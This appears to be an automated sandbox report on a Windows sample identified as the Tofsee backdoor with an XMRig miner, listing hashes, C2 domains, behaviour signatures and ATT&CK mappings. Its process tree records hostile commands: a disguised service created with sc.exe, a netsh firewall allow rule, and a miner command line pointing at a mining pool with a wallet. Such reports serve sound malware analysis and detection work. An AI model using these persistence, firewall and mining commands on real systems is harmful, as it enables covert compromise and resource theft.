Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 23:49

General

  • Target

    5dd912779fa19291eb1b8a275bc3df19020a9d6cd0199585f85e2676928f823b.exe

  • Size

    140KB

  • MD5

    cac8f798358a8e954c0746dc7fd93968

  • SHA1

    7a6837f6377cf1ed36c584159e9abbd9c0b9fd23

  • SHA256

    5dd912779fa19291eb1b8a275bc3df19020a9d6cd0199585f85e2676928f823b

  • SHA512

    4ea79c13bc9040361d67f0ce794e66554c233efae465c5075bb2795d3caa2a6c9bebef6e69dddcfc94f430b1885afab5bf29ea16eeb996355c7c57dd592d0639

  • SSDEEP

    1536:g3pu4kELIogNl2+pCm+r51nFDXt5dOdagcJm4WWxo8xXgwkB2b8BwLFoQ7oarYOD:qTkAlr59t7gaBxo8FRk/KFoQ7rrYU

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5dd912779fa19291eb1b8a275bc3df19020a9d6cd0199585f85e2676928f823b.exe
    "C:\Users\Admin\AppData\Local\Temp\5dd912779fa19291eb1b8a275bc3df19020a9d6cd0199585f85e2676928f823b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ugnvdafm\
      2⤵
        PID:4964
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lxgutpyd.exe" C:\Windows\SysWOW64\ugnvdafm\
        2⤵
          PID:2376
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ugnvdafm binPath= "C:\Windows\SysWOW64\ugnvdafm\lxgutpyd.exe /d\"C:\Users\Admin\AppData\Local\Temp\5dd912779fa19291eb1b8a275bc3df19020a9d6cd0199585f85e2676928f823b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ugnvdafm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2092
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ugnvdafm
          2⤵
          • Launches sc.exe
          PID:3296
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3488
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4868 -s 1048
          2⤵
          • Program crash
          PID:368
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4868 -ip 4868
        1⤵
          PID:2012
        • C:\Windows\SysWOW64\ugnvdafm\lxgutpyd.exe
          C:\Windows\SysWOW64\ugnvdafm\lxgutpyd.exe /d"C:\Users\Admin\AppData\Local\Temp\5dd912779fa19291eb1b8a275bc3df19020a9d6cd0199585f85e2676928f823b.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4400
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2796
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1308
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 344
            2⤵
            • Program crash
            PID:4416
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4400 -ip 4400
          1⤵
            PID:3252

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lxgutpyd.exe
            Filesize

            10.9MB

            MD5

            ec663edd7f0677edea269a1dadbc1afb

            SHA1

            da5fe9a465385f24b138062292cb382a20aad9fe

            SHA256

            be74ecfecfce78e17dccbd3e35637f2d9b9bb56aff6caaee8bde86e1114fe1ff

            SHA512

            e030a47035a63fe0c52be33c86ed48dbcd5900fbde85d3eb5daeba269c6fcd981b860806bc6d1cf371260a2996a09e7542424673814b3114162c2e89147952c6

          • C:\Windows\SysWOW64\ugnvdafm\lxgutpyd.exe
            Filesize

            10.9MB

            MD5

            ec663edd7f0677edea269a1dadbc1afb

            SHA1

            da5fe9a465385f24b138062292cb382a20aad9fe

            SHA256

            be74ecfecfce78e17dccbd3e35637f2d9b9bb56aff6caaee8bde86e1114fe1ff

            SHA512

            e030a47035a63fe0c52be33c86ed48dbcd5900fbde85d3eb5daeba269c6fcd981b860806bc6d1cf371260a2996a09e7542424673814b3114162c2e89147952c6

          • memory/1308-177-0x0000000000820000-0x0000000000911000-memory.dmp
            Filesize

            964KB

          • memory/1308-172-0x0000000000820000-0x0000000000911000-memory.dmp
            Filesize

            964KB

          • memory/1308-171-0x0000000000000000-mapping.dmp
          • memory/2092-140-0x0000000000000000-mapping.dmp
          • memory/2376-137-0x0000000000000000-mapping.dmp
          • memory/2796-153-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/2796-151-0x00000000008F0000-0x0000000000905000-memory.dmp
            Filesize

            84KB

          • memory/2796-168-0x0000000002FD0000-0x0000000002FD7000-memory.dmp
            Filesize

            28KB

          • memory/2796-165-0x0000000007B00000-0x0000000007F0B000-memory.dmp
            Filesize

            4.0MB

          • memory/2796-162-0x0000000001DF0000-0x0000000001DF5000-memory.dmp
            Filesize

            20KB

          • memory/2796-146-0x00000000008F0000-0x0000000000905000-memory.dmp
            Filesize

            84KB

          • memory/2796-145-0x0000000000000000-mapping.dmp
          • memory/2796-159-0x0000000001D80000-0x0000000001D90000-memory.dmp
            Filesize

            64KB

          • memory/2796-156-0x0000000001D70000-0x0000000001D76000-memory.dmp
            Filesize

            24KB

          • memory/2796-152-0x00000000008F0000-0x0000000000905000-memory.dmp
            Filesize

            84KB

          • memory/3296-141-0x0000000000000000-mapping.dmp
          • memory/3488-142-0x0000000000000000-mapping.dmp
          • memory/4400-150-0x0000000000400000-0x0000000000459000-memory.dmp
            Filesize

            356KB

          • memory/4400-149-0x00000000004E9000-0x00000000004F9000-memory.dmp
            Filesize

            64KB

          • memory/4868-133-0x000000000066D000-0x000000000067D000-memory.dmp
            Filesize

            64KB

          • memory/4868-144-0x0000000000400000-0x0000000000459000-memory.dmp
            Filesize

            356KB

          • memory/4868-135-0x0000000000400000-0x0000000000459000-memory.dmp
            Filesize

            356KB

          • memory/4868-134-0x00000000005F0000-0x0000000000603000-memory.dmp
            Filesize

            76KB

          • memory/4964-136-0x0000000000000000-mapping.dmp
          • memory/5008-139-0x0000000000000000-mapping.dmp